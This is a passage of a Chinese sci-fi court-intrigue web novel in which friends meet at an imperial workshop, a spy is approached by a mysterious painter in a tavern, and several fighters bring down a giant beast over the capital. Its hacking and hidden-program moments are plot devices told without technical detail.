糟了,好几天没看到沈逆太激动了,前几天才刚刚跪了键盘向贺兰濯保证,坚决改掉见人就贴就抱的陋习,今天立即犯病。
当时贺兰濯还相当优雅地坐在沙发上翘着腿,踩在第五阙的肩膀上,手中拿着削苹果的水果刀,慢悠悠地问她:
“万一你忍不住,就是想贴就是想抱,那怎么办呢?”
第五阙快被贺兰濯迷死了,大言不惭指天发誓。
“那我就自断双臂!”
想到这一出,第五阙冷汗都下来了。
已经张开的双臂立刻收拢回来,抱住了自己,扭扭捏捏地晃到沈逆面前。
也不叫那些恶心死人不偿命的昵称了,第五阙就像是外交会晤般严肃问候:
“好久不见,靖安侯。”
沈逆:“你没事吧?”
第五阙:“现在为止还没事。你怎么跑这儿来了?”
沈逆简单说了一番自己服役来了。
第五阙对沈逆回京这么久才被拘役表示一定的惊讶后,看了眼站在一旁笑容可掬的林少府。
她也听说天子新一代的飞天仪仗一直无法投入使用,沈逆人都来了,老奸巨猾的林少府怎么错过。
第五阙和沈逆相视一眼,心照不宣了。
沈逆问她:“你和贺节度使干什么来了?”
第五阙说她又弄坏了一把S级的武器,外面买太贵了,还很容易被坑。听说少府监这里也有卖武器的,就说来看看。
沈逆可太知道第五阙下手有多不知轻重。
身为S级战斗天赋者中的佼佼者,论近战,恐怕整个帝国没有一位同级能打得过她。
不过第五阙也有一个致命的缺点,就是控制不住力量,武器用一把坏一把,迄今为止没有一把能在她手里超过半年不报废。
沈逆以前在北境的时候,一边忙着打仗还一边抽空帮她做了一把S级的剑,结果不出一个月就被她砍坏。
从那之后沈逆发誓再也不给她做武器,根本不知道心疼人家的劳动成果。
第五阙真是没地方说理。
她就是手重啊,那能怎么办?
更是心灰意冷,连沈逆打造的武器都经不住她造,那外面肯定更找不到合适的了。
后来第五阙软磨硬泡,想让沈逆认真帮她打造武器,多少银子她给。
沈逆:“就你成天宴请这朋友招待那发小的,手里能有余钱?”
第五阙:“我没有,我耶娘有。”
沈逆:……
忘了,是个千金。
打造一把顶级的武器是个又费精力又费体力,还费材料的活儿。沈逆不喜欢随便出手,但凡她制作的都需让自己满意为先。当时她还得指挥战事,实在没时间,只能先应下第五阙,说好了有空再说。
毫不意外,迄今为止都没空。
第五阙看上去不拘小节,其实也知轻重。
沈逆亲手锻造的武器随便一把都价值连城。沈逆能记得是最好,没空她也没脸去催。
沈逆问她:“你又弄坏武器了?今年第几把了?”
第五阙不好意思笑笑,比了个“四”。
沈逆:“第四把?全都是S级的武器?”
“最近不是在城里帮忙打异兽么,低级别的武器也没手感啊。”
“一把S级的武器起码十万两,你是什么吞金兽啊。”
第五阙暗暗看向贺兰濯。想秀,非常想秀,想告诉全世界这四把武器都是贺兰濯给她买的。到最后还是没敢。
贺兰濯优雅地靠在一旁,手里拿着杯苹果酒慢悠悠地喝着,没看她们,依旧在挑选武器柜里的武器。
沈逆问第五阙:“有挑中的吗?”
“没,好像也不怎么样。”
一旁的林少府喉咙不太舒服似的“嗯哼”了一声。
沈逆有点好奇少府监官方出品的武器品质如何,走到武器柜前看看。
说到武器,第五阙想起一件事来。
“我看暗网上有人出高价悬赏你家夫人的骨鞭。”
“嗯,是我。”
“我就说。那现在还没找到吧。”
沈逆抿了抿嘴,“难。”
第五阙:“这世上还有你找不到的东西,也是稀奇。”
沈逆也觉得稀奇,“没事,要真找不到,我给她做个新的。”
“边烬可是双S级战斗天赋,给她做武器要用什么原材料啊,想好了没?”
“暂时还没确定。”
说到这,第五阙眼睛一亮,拉着沈逆到角落里说:“我可知道一个地方,里面有传说级的材料,就在长安城郊外。只可惜那个地方早就被关闭了,只对皇室开放,布防森严,连你都未必好进去。”
“什么地方?”
“冠绝山北麓。”
沈逆眨眨眼,“那不是屠国公族墓所在地么。”
“对,也是安王外祖家祖坟。那儿有个巨大的洞穴,里面……”
贺兰濯见林少府听得耳朵都要飞起来了,轻唤一声:
“第五阙。”
第五阙和沈逆警觉地停下对话。
第五阙拍拍沈逆的后背,“改天去你府上私下聊。”
沈逆“嗯”了一声,对林少府说:“咱们进去修车吧。”
修车……
这两个字还真是,很直接。
林少府在前带路,沈逆临走时问第五阙:“安王已经入京,你打听到她的消息了吗?”
前些日子沈逆拜托第五阙探查的,就是安王的事。
“她人是已经入京,但一直称病不出,没人见过她。”
“有她照片吗?”
“真没有。”
沈逆更好奇了,“你们睦洲是安王治下,也没见过她?”
“没有,安王无比神秘,你什么时候黑到她照片记得发给我瞧瞧。”
沈逆:……
你是探子我是探子?.
长安西市有条街叫明日街,明日街内各色酒肆一应俱全。
一到夜里迷乱的灯牌闪烁着颓靡的光,连空气里都飘荡着酒精的气味。
之所以叫明日街,正是因为进来的客人都是来买醉的,不到明日恐怕出不了这条街。
边烬从两个在墙边肆无忌惮拥吻的女人身边路过,往更深处去。
推开酒肆的门,闹哄哄的人声、笑声和音乐声立即冲进耳朵里。
边烬戴着口罩,束起黑色长发,兰台的官服外套着斗篷。
素色的兰台官服清雅内敛,斗篷精致典雅,看上去便是一捧出水芙蓉,不属于此处。
边烬一进酒肆,男男女女贪婪的目光便聚集在她身上,兴致勃勃地用眼神品味着。
犹如神佛入魔窟。
长眉盈动,五官清美,一双略染红晕的桃花眼本该带着勾人的朦胧,可长在这张冷情的脸庞上,被她瞧上一眼恐怕只会打寒噤。反而更带感。
昏暗混乱的灯光下,边烬目光在酒肆中寻觅。
有个穿着暴露的性感女郎搭上来。
“美人,你在找谁?这里我熟悉,我帮你找呀……”
那女郎借着酒劲就要往边烬身上贴。
“我成亲了。”
边烬淡淡一语,闪身躲开。
她“哎呀”一声趔趄着,差点撞翻别人的桌子。
“嘶”了一声,嘲讽道:“成亲怎么了,来这儿厮混的有几个没成亲?死板。”
边烬懒得多说,继续穿过乌烟瘴气,终于找到角落里的曾倾洛。
曾倾洛缩在小小的沙发上,已经抱着自己睡着了。
边烬看她就一身单衣,将自己的斗篷脱下来,帮她盖上。
盖上的时候,曾倾洛醒了过来。
“……大师姐?你怎么会在这儿?”
还以为是做梦。
边烬用沈逆给她的消毒剂消杀一块地方出来,坐下。
“这么多日没你的消息,当然得确定你没事。”
曾倾洛坐起来,斗篷上散发着好闻的香味,将周围浑浊的酒气和体味驱散了不少。
余光里有人在隔壁的沙发上纠缠热吻,边烬目不斜视问曾倾洛:“你怎么跑到这种地方睡觉?”
边烬冷肃的模样,让曾倾洛一瞬回到还在师门时,年少无知,同窗拉着她翘课,被边烬在游戏厅逮个正着时的紧张。
“我之前和一个卖药的商人在这儿交易,买完药后实在太困,不想动,就睡了一会。”
“药?”
“治伤的药啦,你看。”
曾倾洛乖乖将口袋里的几管治外伤的药拿出来给边烬过目。
边烬把药递回去,将带来的一个小包袱一并推给曾倾洛。
“你该时常回来看看我和你小师姐,飞鸽也行。这么许多天没有消息,如何不担心你?”
还以为边烬会生她气,没想到边烬半点没有生气的意味,只是担忧。
曾倾洛见这小包袱里又是营养液又是药剂,眼眶红红的。
被人惦记的感觉真好啊。
“谢谢大师姐……对不住,让你们担心了。”
边烬说:“你在做的事关系到万千百姓的安危,很有勇气,不用向任何人道歉。我和你小师姐只想你能平平安安的。”
曾倾洛用力点头。
“当初小师姐也是这么对我说的,我一直记得呢。”
边烬没说话。
很多事她和沈逆并不会提前沟通,但时常会想到一起去。
曾倾洛灌了两管营养液,精神抖擞。
边烬看她状态还行,先前的担忧缓解不少。
她还要去兰台,便先走了。曾倾洛去送她。
曾倾洛太知道酒肆里的都是些什么人,肯定会有人纠缠边烬,便护着边烬到门口。
走到门口,曾倾洛想到一事。
“对了大师姐,有件事要跟你说。最近我一直在捕杀异兽,发现了一件怪事。”
“怪事?”
“对,我发现异兽开始学会逃跑。”
边烬“嗯”了一声,思忖道:“看来异兽进化的速度比我想象的还要快。它们知道害怕,就知道躲藏。下一步说不定就会互相配合,拥有谋略。”
光是听边烬这么说,曾倾洛鸡皮疙瘩已经开始颤栗。
“大师姐,我有一种奇怪的感觉……”
曾倾洛说到一半顿住了,没有立刻往下说。
她有些犹豫,对自己的判断不是很自信,生怕说出来后会误导边烬。
边烬:“倾洛,有什么想法尽管说。”
曾倾洛愁眉难展,咬了咬唇,说:“我感觉,有人在暗中帮助黑魔方迭代。”
此话一出,边烬立即捏住曾倾洛的胳膊。
“明日抽空去侯府待一待,看看伤情聊聊近况。”
边烬的意思很明确,在外不好说这些,隔墙有耳,去侯府说更安全。
曾倾洛点了点头。
边烬在思虑中离开,曾倾洛则回到酒吧里,没点酒,点了一杯清爽的桃汁。
来送酒的酒保笑她:“就你,来我们这儿不喝酒,只喝果汁。”
曾倾洛:“酒太难喝。”
其实是果汁比较便宜。
刚才没好意思跟边烬说,这个酒肆她经常来。
虽然这个酒肆鱼龙混杂,时常会有一些不堪入目的场面,可她喜欢这份热闹。
租住的小屋只有她一个人,说话都带着回音,太冷清。
虽然不是很想承认,但她喜欢人声,有种被人气儿包围的安全感。
而且酒肆人来人往,非常容易获得一些意外的线索。这也是当探子多年养成的习惯。
曾倾洛喝着桃汁,开启模块,查看今夜有没有异兽的动向。
打开药剂,正要往伤口上涂抹的时候,被一只纤细的女人手压住。
女人说:“这药是假的,别用。”
曾倾洛惊讶抬头,昏暗的灯光下,握着她手的女人她见过。
是那夜在护城河边为她治伤的陌生女人。
她今夜妆容有些浓艳,更显冶艳成熟,撩人心魄。
曾倾洛心跳被她太过美艳的容貌牵扯着,不太习惯和漂亮的人对视,很快移开目光。
“你如何知道这药是假的?”
女人淡笑:“久病成医。卖你药的人用廉价的神经平衡剂冒用药物,你要是抹到伤口上只会造成麻痒,不会有治疗的效用。若你不信,可以联系卖家,问他为什么无效。他定会向你推荐更贵的药,诱使你再次上当。”
曾倾洛:“你很懂。”
“这是我家乡的骗术,没想到在长安城风靡起来了。”
女人桃粉色的指尖点点曾倾洛的手背。
“你问问。”
曾倾洛将信将疑地按照她的话做了。
没想到,对方的回应真的一模一样。
曾倾洛将电子表锁屏,问她:“你为什么帮我?”
“因为,我也需要你的帮助。”
那女人忽然贴入她怀中,箍住她腰肢,像只娇弱的猫窝进主人的怀抱。
曾倾洛被怀里的香味弄得神志一晃。
她从未被人这样投怀送抱过,傲人的身躯紧贴着,柔软饱满的触感让她脸庞不由自主地发红。
“你干嘛……”
“帮我摆脱那个人。”
女人在她耳边轻声说着,拉着她的手腕,往腰间贴。
“抱我,好不好?”
有个光头男人走过来,半张脸都是金属义面,模样可怖。
曾倾洛在迟疑间揽住了怀中人的细腰。
很软,是纯体。
曾倾洛这一下劲儿大了些,心里暗道“糟了”,这女人弱质纤柔,肯定被她弄痛了。
怀中人闷闷轻哼了一声,没露出破绽,只是缠曾倾洛缠得更紧,惹得她耳尖血红。
酒保提醒那光头:“她可是靖安侯的人。”
光头男人不爽地“啧”了一声,犹豫着踱步到一旁。
曾倾洛提醒:“你安全了。”
女人抬眸,眼眸里是星星点点的碎光,美得可以随意潜入任何人的梦中,又脆弱得谁都可以肆意把她弄碎。
“他不会这么轻易放弃的。你能不能好人做到底,送我回家?”
第55章
牵着手,曾倾洛带着她出了酒肆,一路走出明日街。
不知不觉,长安城已经入春。
这座颓废的都城冬天寒冷刺骨,夏季暴晒干燥。
也就春天有那么几天不下雨的日子里,有点儿宜人的错觉。
今晚就不错。
离开了酒肆,对方还不放开她,拉着她坐上马车。
路上,女人似乎喝了些酒又很累,靠着曾倾洛的肩头睡着了。
曾倾洛实在很不习惯跟陌生人这么亲密,可见她睡得很沉,又不忍打扰。
一路到了帝国客栈,女人邀请她上楼坐坐。
“顺便把你的伤口处理一下。你伤得不轻,要是不及时处理的话会感染的。”
曾倾洛对此人很好奇。
引她上去肯定有所企图。
不过帝国客栈里有完善的安保系统,没人敢在官家的眼皮子底下胡作非为。
“好。”曾倾洛答应。
上次来这儿,是来探望第五阙和贺兰濯。
那两位权要住的已经很高了,而这次,她们直通顶层。
曾倾洛从云梯透明的琉璃门望下去,长安城炫目的夜景尽收眼底。
甚至能看见灯火通明的大明宫。
女人靠在另一侧,气弱,倦累感压在她身上,仿佛随时会晕倒。
“我叫裴寂,你叫什么?”
曾倾洛没回答她这个问题,反问:“你就是裴寂?”
“你认识我?”
“我经常在暗网上看到有人抢拍你的字画。”
裴寂是这几年备受追崇的书画大家,真实身份非常神秘,没人见过。
没想到是这么年轻的女人。
裴寂满不在乎地“哦”了一声,也不在意曾倾洛没自报家门的事儿,只说:“没想到你还是暗网用户。”
“为何没想到?”
“你看着就像被家里呵护得很好的乖乖女。家里一堆的哥哥姐姐,每个都很疼你。你就是一哭就有一群人来哄的幺妹。”
曾倾洛嘴角翘了翘。
裴寂说的生活,完完全全不属于她。
想都未曾想过。
眼波微微黯淡,但很快将不喜欢的情绪排遣出心口。
大师姐和小师姐都说了,她是有人疼的。
要爱惜自己,不要自卑。
叮——
到了顶层,依旧是上回的机械人向导微笑指路。
上次曾倾洛觉得这机械人造得好美,这次机械人和裴寂出现在同一个画面中,竟有种粗制滥造感。
顶层只有一套客房。
裴寂打开屋门,全景视野涌入曾倾洛眼底。
这间客房是她见过最奢华的客房,雕梁玉柱,入眼的全都是鎏金饰物。案几上一套被随意摆放的金樽银盏,银盏还倾倒了,淌出一片酒液。
到处都是笔墨纸砚,裴寂将披肩随意丢到龙门架上,只穿一件薄纱般的长裙。
屋内地龙烧得旺,今日温度已经转暖,热得裴寂将窗镛全部打开。
“我去给你拿药。”
裴寂赤脚踩在木地板上。
裴寂的脚白到反光,艳红色的蔻丹抹在指甲上,宛若霜缟沾血,红得刺眼。
曾倾洛意识到自己被裴寂吸引,立即收回不规矩的视线。
裴寂提了个药箱过来,让曾倾洛坐。
“我帮你清创。”
“不用,我自己来就好,谢谢。”
“那行,给你。”
曾倾洛怕弄脏沙发,找了一张小矮凳,坐到窗边。
清创的过程很痛,但她早就习惯了。
咬着牙半点声都没吭。
裴寂打开冷柜的时候偷瞧她侧颜。
好长的一道血口,小娘子却眼睁睁地看着,再痛都咬着唇不让自己发出声音。
包扎完毕,曾倾洛松了口气,应该能再挺一段时日。
听见身后有杯盏和木质轻碰的声响。
曾倾洛回头,看裴寂为她倒了好几杯果汁。
“听酒保说你爱喝果汁,正好我也是,来尝尝看。这帝国客栈菜做的难吃,饮品还不错。”
曾倾洛没立即喝,“你们书画大师难道不爱喝酒么?”
裴寂歪歪斜斜地靠在椅子上,慵懒无力,鬓丝撩乱,雪肩半遮半掩,美不胜收。
“酒我也爱喝。”
知道曾倾洛心里有所顾忌,裴寂将每一杯果汁都倒了点到自己的杯子里,率先喝了。
曾倾洛是探子,不可能不谨慎。
果汁她还是没喝,对于眼前这个女人还有很多疑问。
这场偶遇太像蓄意的接近。
她本身没有什么好接近的。
目的必然是小师姐。
既然送上门,曾倾洛继续试探。
“这个客栈住的都是帝国高官。”
裴寂倒是回答得很坦荡。
“是,我阿耶就是高官。你听我的口音应该也能听得出来,我不是京城人。”
“不是京城人?”
“嗯,我来京城看病的。”
“我不记得内廷有姓裴的高官。”
“我随母姓,这是母亲为我起的名字。”
好吧……
裴寂喝了两口果汁之后就开始饮酒。
说到耶娘便提到了她还有好几个兄弟姐妹。
明明是同根生,偏偏个个都不待见她,特别是她那个姐姐,一心想她死。
所以这些年她一直都在外地,没有回京。
曾倾洛问:“为何和一个陌生人说这许多?”
裴寂一口将眼前的酒喝了个精光,嘴唇上残留着发亮的酒液,双颊粉红,软在案前,玩着手中银盏。
“正因为是陌生人才可以聊聊心里话。我不知道你是谁,以后再也不会相遇,才能和你交点心。仅限这一夜。今夜过去,咱们都忘了吧。”
……
曾倾洛要离开时,裴寂睡了。
临走前,曾倾洛将窗户都关好,调节了地龙的温度。
离开奢华的客栈,重新将自己浸入杂乱危险的城池。
裴寂。
曾倾洛忍不住琢磨这个名字。
这个名字有种茕茕孑立孤冷的美感。
登录暗网,她的字画还在拍卖。
画上是一片暗河,暗河间只有一叶孤舟,被庞大的黑包围。
裴寂。
裴寂……
……
仪仗坊内,沈逆手指一点,飞天仪仗的中控屏终于亮了起来。
林少府松了口气,夸赞道:“靖安侯当真奇才啊,我们一群机械师调试了一整月都没能弄好。靖安侯手到擒来!”
沈逆当然不会白干活。
即便林少府全程盯着,她还是在他眼皮子底下给天子的仪仗加了个小程序进去。
这个小程序除了和她同等级的机械师,一般人很难发现。
意思是没人能发现。
有这个小程序在,往后李渃元要去哪儿,都得来沈逆这边报个备。
沈逆摘了手套,“行了,试驾之后就算完工了。”
林少府为难道:“这……天子车驾,一向都由内侍来试。”
“那我走了。”
林少府又为难道:“可是,万一,我是说万一这仪仗还有些靖安侯没注意到的问题呢?”
“那就让天子摔水沟里吧。”
林少府:……
你敢说,我就敢当没听见。
林少府劝住沈逆,招呼属员将仪仗皇室的标识给贴了,笑眯眯地对沈逆说:
“烦请靖安侯试驾。咱们院子里很宽敞,试个驾绝对没问题。”
这是在提醒沈逆别把天子仪仗开出去就行。
沈逆跃上了仪仗,还没驾出几丈,忽然体内模块预警震响。
沈逆神色一紧。
异兽预警。
她给最高研发署、丽景门她们升级的时候,顺带的将自己模块也安装了探测器。
鲲鹏级异兽?
还是突然出现的鲲鹏级异兽?
隔壁轰然巨响,一只巨型异兽掀飞了少府监的屋顶,在一片支离破碎中直冲夜空。
身后还追着一人,沈逆定睛一看,可不就是第五阙?
第五阙踩着贺兰濯的飞轮,手里一把巨大的剪刀,不管不顾单枪匹马追杀异兽。
沈逆是服气的。
鲲鹏级的异兽比上次大闹东市的异兽要高两个等级。需要多名S级以上战斗天赋的天赋者,再搭档同等级别的机械天赋者或精神天赋者才能一战。
第五阙居然敢一个人追杀。
副驾的门被一把拉开,在林少府的“哎”声中,贺兰濯坐到沈逆身边,指着天际说:
“追。”
中控上无数的按键,沈逆一顿流畅的操作,左手推右手拉,唐Pro帝国天子李渃元还没坐过的新一代飞天仪仗,就这样被沈逆和贺兰濯开着飞速升空。
林少府:??
林少府:“不是……靖安侯!贺节度使!那可是天子仪仗啊——”
林少府大叫时,沈逆和贺兰濯已经驾入半空。
飞天仪仗前有八匹钢铁烈马驱动,后有能容下六个窦璇玑寝屋大的车厢,上架电磁炮和能量盾,下有等离子切割机和声波武器,左右两侧是能打能扛的机械臂,车后更有导弹发射器。
甚至还有隐身和跃迁功能。
主打一个历代皇帝祖传的怕死。
沈逆一边急速驾车追赶,一边问贺兰濯:“怎么回事?怎么突然出现异兽?”
贺兰濯:“我们在武器铺试用武器,没想到那异兽毫无征兆从库房里冲出来。”
“是鲲鹏级的异兽。”
贺兰濯操作着电磁炮轰向异兽,分出一点神回沈逆。
“是,估摸着是库房有漏洞,被黑魔方钻进去,吞噬了武器。”
行吧,懂了。
那库房里少说上百把的S级武器,还有满货架的A级B级。黑魔方闯进去等于吃自助餐,最后融出了一个鲲鹏级的异兽,一点都不稀奇了。
这么重要的武器重地居然能给黑魔方闯进来,林少府是不想干了。
异兽正在往西边的居民区闯,整个长安城拉响异兽警报。
南衙十二卫火速出动,丽景门持.械狂奔。
正在回府列车上的边烬也听见了警报声。
列车正在高空轨道上缓慢行驶,车内乘客心惊胆战地往外望。
“是异兽!”
“从来没听到过这么急促尖锐的警报声,而且这片橙色的光是什么意思?”
“这是鲲、鲲鹏级的异兽!”
“什么!鲲鹏级?出现在长安城内?!”
远处一只张着巨型四翼的巨兽翅膀一扇,楼宇轰隆隆地坍塌成废墟。
原本没有嘴,在黑魔方的拧动之下,巨口很快拧出雏形,猛然一声尖啸。
边烬立即捂住身边小女孩的耳朵。
声波横空扫来,远在百丈之外的列车车窗猛然碎裂。
车厢在剧烈震荡中被推着往一边倾斜,眼看就要脱出轨道,从高处坠落。
车厢内尖叫声四起,边烬把怀中的小女孩丢给她母亲,立即钻出车厢,一脚将车厢踢回正轨。
列车已经停下运行,车厢脱节,像被孩童随手丢掷的积木,散落在轨道上。
车厢内乘客惊魂未定,边烬的口罩调至全黑,站在车厢上方,把散乱的黑发随意束在脑后,扎起一个高高的马尾。
不知是不是连理模块预开通了,亲密度在告诉她,沈逆在那个方向。
嗡——
嗡——
嗡——
贺兰濯连开了好几炮。
沈逆很惊讶,没一炮打中。
不过严格意义上来说也不是完全没中。
毕竟打中了第五阙踩的飞轮。
第五阙马上就要飞到异兽的后背上了,飞轮一边的引擎突然被爆,害她在空中转了三十多个圈。
自两岁第一次坐车晕车之后,第五阙没这么惨过。
贺兰濯:……
贺兰濯:“精神天赋者是这样的。”
沈逆:“……看出来了,脑子好不好使不知道,但手上的活儿是真不好。”
贺兰濯:……
贺兰濯对沈逆说:“我来驾车,你去狙它。”
沈逆:“行吧,就算是为了第五阙的生命安全着想。”
两人位置都换了,沈逆突然想到一件重要的事。
“你会开吗?”
这飞天仪仗上百个按键,不是那么容易操控的。
贺兰濯单手优雅地扶着操纵杆,另一只手把飞天仪仗的说明书摸了出来。
在一片警报声、爆破声、尖叫声和倒塌声中,贺兰濯慢悠悠地看着说明书。
“很快就会了。”
第56章
沈逆和贺兰濯互换了位置之后,连追异兽数十里地。
沈逆提醒贺兰濯道:“不用把整本说明书都看完,你只要看第三十五页到六十五页的内容就行。”
贺兰濯快速翻到沈逆说的位置,还真是驾驶说明。
沈逆每一炮都打得十分精准,全部轰到异兽的翅膀上。
这种能飞的异兽翅膀必然是弱点,只要将它的翅膀打掉,坠落到地上之后行动将会大大受限。
贺兰濯一边看说明书,一边驾驶着飞天仪仗。
七扭八拐,上上下下,沈逆还能发发命中。
贺兰濯:“你们机械师准头都这么厉害?”
沈逆:“也不是。本来没打中,你一颠反而打中了。”
贺兰濯:……
我在夸你,你在干嘛?
不到一盏茶的时间,贺兰濯已经能够稳稳驾驶,沈逆要她倾斜多少度她都能够照办。
异兽右侧一翼被沈逆打碎,失去平衡。
第五阙踩着只有一个引擎的飞轮正好转了一圈,杀上来,一剪刀把异兽的一个爪子剪断。
要不是剪刀不够大,这一下第五阙肯定直接对着异兽的脑袋剪下去的。
本来还想继续剪异兽的翅膀,结果还没来得及剪,直接被划着圈失控的飞轮带走。
沈逆趁机又来两发,异兽知道躲了,没打中翅膀,打中皮糙肉厚的背部。
异兽红彤彤的眼睛回视,瞄准了飞天仪仗。
贺兰濯:“天子座驾,应该挺结实的……”
“吧”字还没说完,异兽闪电般转身,庞大的身躯撞向飞天仪仗。
贺兰濯很有安全意识,在看说明书的时候就顺手拉了安全带。
可怜了沈逆没来得及系,直接被撞出仪仗。
异兽张开巨嘴对着沈逆就咬,贺兰濯被震得头骨都在痛,来不及舒缓,强大的精神力像张巨网立即铺开,瞬间锁住异兽的神志。
异兽的嘴大大地张着,颤抖着,发出疑惑的低吼,竟无法咬合。
沈逆人还在半空,也没错过这千载难逢的机会,戒棍指向异兽的喉咙,“砰”的一声巨响,炮弹般打进它的口中。
惊天动地的爆破声中,异兽的下颚被打烂,浓烟滚滚之后,一道尖利的箭从它口中射向沈逆。
那是异兽的舌头,被黑魔方拧成了锐利的箭矢。
这是对沈逆刚才炮击的回礼。
沈逆手臂飞出钢索,套住异兽脊背竖起的背鳍。
钢索猛然回缩,带着沈逆躲过利箭,骑到异兽的后背上。
异兽立即在空中疯狂转身,上上下下地颠动。
沈逆被它弄得晕头转向,幞头都飞了,黑色长发在夜空中飞扬。
得入侵它的模块,全面控制它,不然脑浆都得被甩出去。
不可能一点点去找接插口,更不可能隔空就能入侵,沈逆得用暴力接管。
沈逆手臂侧面展开一个面,里面是她改造过的便携式工具箱和能量池。
暴力接管模式启动,沈逆的右臂被玄色外骨骼包围,五指一伸,幽蓝色的电光在指尖穿梭。
“野狗,得驯。”
沈逆一拳打在异兽的脖颈上,电击麻醉,无数的纳米机器人趁势进入异兽的体内,开始强行接管它的系统。
这暴力接管模式开发完成后,沈逆还是第一次用在实战上。
其实和当初黑入周氏记忆模块的逻辑相似。
不过异兽毕竟不是周氏,纳米机器人顺利进入再到全面接管,需要一定的时间。
沈逆预测,最少需要六十息。
电击麻醉只能麻醉鲲鹏级异兽的局部,异兽察觉到危机,翻腾得更加疯狂,沈逆几次都要被甩下去。
眼看着六十息就要到了,怎么还没能接管异兽的身体?
平时偷懒翘班在家躺平的时候当然很惬意,可到了这个时候,沈逆多少有些反省自己这些年日子混的,连个像样的战斗型机械臂都没折腾出来一个,就更不要说全身外骨骼战衣了。
像她这般懒散的双S级机械师,恐怕前无古人后无来者。
可话又说回来,她也不是真的无所事事,起码做出了逆芯。这是她最满意的作品。
前方是大桥,异兽降低了飞行高度,想贴着桥下高速穿过,利用大桥将沈逆刮下去。
瞄准了高度,就要划过去时,那桥在异兽的眼中忽然变成一面铜墙铁壁,完全没有可以穿行的空间。
异兽立即拉升高度,以免迎头撞上去。
沈逆正觉得奇怪,回头见飞天仪仗在后方紧追不舍。
贺兰濯在用精神力搅乱异兽的意识。
贺兰濯的精神力曾经让一百名敌军在幻觉中自相残杀。
即便是和她相同S级天赋者,她也有自信强行入侵对方的思维起码十息。
可异兽不是人类,人类有自己的逻辑,让人类陷入逻辑混乱而产生恐惧,甚至死亡,这是精神天赋者的拿手好戏。
曾经的异兽没逻辑只有本能,精神天赋者对战异兽一败涂地。
如今异兽长出了脑子,反而大大增长了精神天赋者应对它们的能力。
而鲲鹏级的异兽比想象的还要难应付,神志宛若厚厚的城墙,想要一招贯穿非常困难,只能一点点啄出小洞,慢慢渗透。
精神力释放太多,像有人在用刀刺脑袋。
贺兰濯食指和中指压在急痛的颞颥上,身子往右后方倾斜,靠着椅背,左手单手操控飞天仪仗,紧追在异兽身后。
纳米机器人已经入体,沈逆可以离开这危险的野兽。
她在晕眩中确定飞天仪仗的位置。
贺兰濯架着飞天仪仗到下方,对她道:“跳下来。”
看飞天仪仗左摇右晃的,知道贺兰濯此刻状态不会太好。
某人还单手驾车,沈逆感觉自己这么跳下去,摔成肉泥的概率比被仪仗接住的概率要高出许多。
可现在不跳,被异兽甩出去的话下场更惨。
沈逆无奈。这叫什么事啊,本来只是想轻轻松松在少府监做点粗糙的手工活而已,怎么就打上异兽了。
沈逆断开钢索翻身要下跃。
没想到异兽后背上抽出数根细长的乱体,绊住她的双腿,将她死死锁了回来。
沈逆下身被锁,无法离开高速飞翔的异兽。
冰冷的无机乱体像蛇,迅速往上缠绕。
沈逆冷嗤:“是想吞噬我么?胃口挺大。”
第五阙又一次绕回来,狠狠一剪,没能剪断困住沈逆的乱体,尚未付款的剪刀直接报废。
第五阙索性把飞轮蹬了,直接跳到异兽的后背上,和沈逆一起拽乱体。
沈逆的外骨骼和她同时发力,不仅没扯断,反遭一阵汹涌的电击。
这股电流要是打中普通人恐怕早被电死三百回,沈逆改造过自己,所有袭击她的电流都会直接被导入能量池,成为她的能量。
而第五阙则是生生扛下来,被电得剧痛无比,大怒,扯动乱体的力道更大。
乱体却变软了,往第五阙的手上包裹。
“放手,不然你也会被吞噬。”
沈逆用力一推第五阙,瞄准了飞天仪仗,将她推下异兽的后背。
贺兰濯就在正下方等着,打开了顶盖,稳稳将第五阙接住。
第五阙落进贺兰濯的怀里,贺兰濯“啧”了一声:“真沉。”
第五阙扒着窗户往上看,指着异兽道:“沈逆危险!开上去,我再去救她!”
贺兰濯:“能不能看看你自己,手指断了。”
第五阙刚才拽乱体的时候太用力,十指断了六七根。
“没事,手指断了我用牙咬!”
贺兰濯一把将气势汹汹的第五阙揽回怀里。
“给我长长脑子,别这么冲动。”
贺兰濯下巴往高处抬了抬。
“不用你上了。”
乱体缠着沈逆越缠越紧,她能感觉到体内的模块正在被某种力量牵动着,引发强烈的共振。
原来在变成异兽前是这感觉。
她可不能变成异兽。
沈逆摸着双腿,轻叹着:“就是可惜,师姐还没摸过。”
从手臂里抽出一把新的戒棍,反手一转,戒棍从侧面切出一排利刃,转眼间棍变作刀。
就在沈逆要将自己一双腿齐齐砍断时,一人从天而降,重重落在沈逆身后。
乱体的碎片被跺得飞溅,沈逆被身后人抱住,整个身子往后,坐入身后人怀中。
与此同时,捆着她双腿的乱体被身后人像拔草一样,转眼间全部扯断。
“师姐!”
呼啸的风中,沈逆不用回眸也知道身后人是谁。
边烬戴着虚电容手套,扽着断裂的乱体,那乱体的另一头连着异兽的身躯,此刻就像是套住野马的缰绳。
边烬单手护着沈逆,在她耳边说:
“我教过你骑马,记得要领吗?”
浓郁的血腥味、呼啸的烈风、生死一线,濒临死亡的亢奋中,被边烬用力一揽,如岩浆入体,沈逆浑身发烫。
“记得!”
“乖,我会抱住你。”
异兽察觉到巨大的能量正压在它后背上,那是一种降维的压制。
危机感让它更加疯狂,可无论它怎么颠怎么转,边烬护着沈逆,就是稳稳骑在它后背上。
单手控着方向,将异兽拽着往固定的一处地方飞,异兽一偏航边烬就是一脚,再偏,再一脚。
异兽被她踢得痛极,身后跟着的飞天仪仗还在追着它打。
第五阙手指断了,就用手掌握着也能打得无比精准,热血无畏,天生的战斗者。
异兽被夹击,苦不堪言。
有边烬镇场,刚才想要舍腿保命的沈逆,转眼间就有种被师姐抱着出来兜风看夜景的惬意。
而边烬却发现,异兽在有意识地往某个方向挣扎。
想起曾倾洛先前对她说的话——
“我发现异兽开始学会逃跑。”
异兽想要逃到何处?那处对异兽而言是安全的地方吗?
边烬不再踢它,纵着异兽往它想去的地方飞。
很快,一处熟悉的地界出现在她眼前。
最高研发署。
异兽居然逃往最高研发署?
最高研发署内还亮着灯,很多属员正熬夜研究。
沈逆道:“不能让它降落在这儿,太多无辜。”
得到了答案,边烬又一次硬控着异兽调转方向,冲入旁边的皇家园林。
皇家园林内被养护了数十年的奇山异石被轰隆隆地撞成废墟。
落地的异兽挣扎着要爬起来,边烬打算立即取它的内核。
“师姐不用沾手了。”
沈逆拉着边烬跃下兽脊,一个响指,异兽的哀嚎声犹如又一次拉响警报,传遍整个长安城。
异兽的内核居然自己弹出了身体,落到地上。
边烬立即将它套入虚电容手套内,好奇地问沈逆,“你是怎么做到的?”
沈逆捶捶发痛的腰腿。
